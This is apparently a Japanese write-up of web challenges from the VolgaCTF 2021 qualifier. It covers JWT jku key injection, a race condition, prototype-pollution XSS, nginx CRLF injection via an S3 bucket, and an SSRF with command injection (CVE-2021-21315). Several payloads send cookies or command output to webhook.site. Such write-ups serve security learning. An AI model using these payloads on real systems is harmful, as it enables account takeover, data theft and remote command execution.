VolgaCTF 2021 Qualifier writeup

3/27 - 3/28という日程で開催された。zer0ptsで参加して22位。Rating weightは13.01と不評だったけれども、Web問は面白かったと思う。

[Web] JWT

JWTをデコードすると jku やら jti やらがヘッダに付いていることがわかる。jkuhttps://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d に変えるとwebhook.site側にはHTTPリクエストが飛んできて、Webサーバ側では次のようなエラーが発生する。

JWT processing failed. Additional details: [[17] Unable to process JOSE object (cause: org.jose4j.lang.UnresolvableKeyException: Unable to find a suitable verification key for JWS w/ header {"kid":"HS256","alg":"HS256"} due to an unexpected exception (org.jose4j.lang.JoseException: Parsing error: org.jose4j.json.internal.json_simple.parser.ParseException: Unexpected token END OF FILE at position 0.) while obtaining or using keys from JWKS endpoint at https://webhook.site/cc73f1e5-1fc3-455d-8ae0-715573a3ea2d): JsonWebSignature{"kid":"HS256","alg":"HS256"}->eyJraWQiOiJIUzI1NiIsImFsZyI6IkhTMjU2In0.eyJqa3UiOiJodHRwczovL3dlYmhvb2suc2l0ZS9jYzczZjFlNS0xZmMzLTQ1NWQtOGFlMC03MTU1NzNhM2VhMmQiLCJleHAiOjE2MTc1MDgyODMsImp0aSI6ImFfYmNkZlFPVWZtenZRUVhzLWxwdFEiLCJpYXQiOjE2MTY5MDM0ODMsIm5iZiI6MTYxNjkwMzM2Mywic3ViIjoicG95b3lvbiJ9.v4cYdzJyE2L9fb5V5nMFzZd1HkSojbn8ZvxKLSh4qho]

以下のようなJSONを返すURLに jku を変更してやると、AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA という秘密鍵で署名したJWTが正当なものと判定されるようになる。subadmin に書き換えるとフラグが得られる。

<?php
header('Content-Type: application/json');
?>
{
    "kty": "oct",
    "alg": "HS256",
    "kid": "HS256",
    "use": "sig",
    "k": "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUE="
}

[Web] Online Wallet (Part 1)

インターネットバンキング的なWebアプリケーションを攻撃して、なんとかして(最初に100与えられる)残高を150を超えるまで増やせという問題。

app.post('/withdraw', async (req, res) => {
  if(!req.session.userid || !req.body.wallet || (typeof(req.body.wallet) != "string"))
    return res.json({success: false})

  const db = await pool.awaitGetConnection()
  try {
    result = await db.awaitQuery("SELECT `balance` FROM `wallets` WHERE `id` = ? AND `user_id` = ?", [req.body.wallet, req.session.userid])
    /* only developers can have a negative balance */
    if((result[0].balance > 150) || (result[0].balance < 0))
      res.json({success: true, money: FLAG})
    else
      res.json({success: false})
  } catch {
    res.json({success: false})
  } finally {
    db.release()
  }
})

レースコンディション。

$ f() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"from_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","to_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ g() {
curl 'https://wallet.volgactf-task.ru/transfer' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: connect.sid=s%3AFusLA5u4NccDMYYxFWsIdBy7Aq-clHsW.gmXTnVSX8Df2kfNr%2BpwZAAAHK5KrDyX4EWUyQBq5YJM' \
  --data-raw '{"to_wallet":"0xc6ef35006a8841e3ea688dd9d8abfde4","from_wallet":"0x09cdd4b602c1135df82a14bcf7d2608a","amount":50}';
}
$ f&g&f&g&f&g&f&f&

[Web] Online Wallet (Part 2)

?lang=/../deparamjquery-deparamを読み込ませることができるが、これはPrototype Pollutionができるバージョンが使われている。?lang=/../deparam&a[0][]=1&a[0][__proto__][__proto__][b]=1Object.prototype.b = 1 相当のことができる。

jQueryのgadgetを使ってJavaScriptコードを実行できるかと思いきや、それだけでは発火しない。幸いにも id="depositButton" という属性を持っているボタンにホバーするとtooltipが表示されるようになっているので、以下のように iframe で開いた後にURLに #depositButton を追加してやればOK。

<iframe id="iframe" src='https://wallet.volgactf-task.ru/wallet?lang=/../deparam&a[0][]=1&a[0][__proto__][o][1]=%27%3E%22%3E%3Cb%3Eas&error&a[0][__proto__][__proto__][div][0]=1&a[0][__proto__][__proto__][div][1]=%3Cimg/src/onerror%3d"navigator.sendBeacon(`https://webhook.site/...?1,${document.cookie},2`)"&a[0][__proto__][__proto__][div][2]=1&error' width="800" height="600">
</iframe>
<script>
navigator.sendBeacon(`https://webhook.site/...?test`);
const i = document.getElementById('iframe');
i.onload = () => {
  setTimeout(() => {
    i.src += '#depositButton';
  }, 500);
  navigator.sendBeacon(`https://webhook.site/...?${btoa(i.src)}`);
  i.onload = () => {};
};
</script>

[Web] Static Site

nginxの設定は以下のような感じ。/static/%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a でCRLF Injection(とかHTTP Response Splittingとか呼ぶやつ)ができる

server {
    listen 443 ssl;
    resolver 8.8.8.8;
    server_name static-site.volgactf-task.ru;

    ssl_certificate      /etc/letsencrypt/live/volgactf-task.ru/fullchain1.pem;
    ssl_certificate_key  /etc/letsencrypt/live/volgactf-task.ru/privkey1.pem;

    add_header Content-Security-Policy "default-src 'self'; object-src 'none'; frame-src https://www.google.com/recaptcha/; font-src https://fonts.gstatic.com/; style-src 'self' https://fonts.googleapis.com/; script-src 'self' https://www.google.com/recaptcha/api.js https://www.gstatic.com/recaptcha/" always;
   
    location / {
      root /var/www/html;
    }

    location /static/ {
      proxy_pass https://volga-static-site.s3.amazonaws.com$uri;
    }
}

volga-static-site というS3バケットのリージョンは以下のような手順で特定できる。

$ curl -i s3.amazonaws.com -H "Host: volga-static-site"
HTTP/1.1 200 OK
x-amz-id-2: hIwiy1NTk84Yw0NfevKpu5gC4oE9XDKNtxpwG7O0X0sBGLgZBiTtpYEUubwo/Qn07hFnXztQUMU=
x-amz-request-id: NKKTW8G91RTVVZPG
Date: Wed, 16 Jun 2021 16:50:21 GMT
x-amz-bucket-region: us-east-1
Content-Type: application/xml
Transfer-Encoding: chunked
Server: AmazonS3

...

同じ us-east-1 でS3バケットを作り、以下のような内容の index.htmllocation.href=['…',document.cookie] という内容の exp.jsstatic/ にアップロードする。外部からアクセスできるように設定を変更した上で https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a というURLを報告するとフラグが得られる。

<script src="/static/exp.js%20HTTP/1.1%0d%0aHost:%20(バケット名).s3.amazonaws.com%0d%0a%0d%0a"></script>

[Web] Unicorn Networks

我々は手探りで脆弱性を見つけたけれども、CVE-2021-21315という脆弱性だったらしい。SSRF + OSコマンドインジェクション。

$ curl -s -k -g -X $'GET' -H $'Host: 192.46.237.106:3000' $'http://192.46.237.106:3000/api/getUrl?url=http://.../redirect.php?redir=http://localhost/api/admin/service_info?name%5b%5d=%2524(curl%252bhttps://webhook.site/...%252b-d%252b%2560cat%252b%252a%2560)'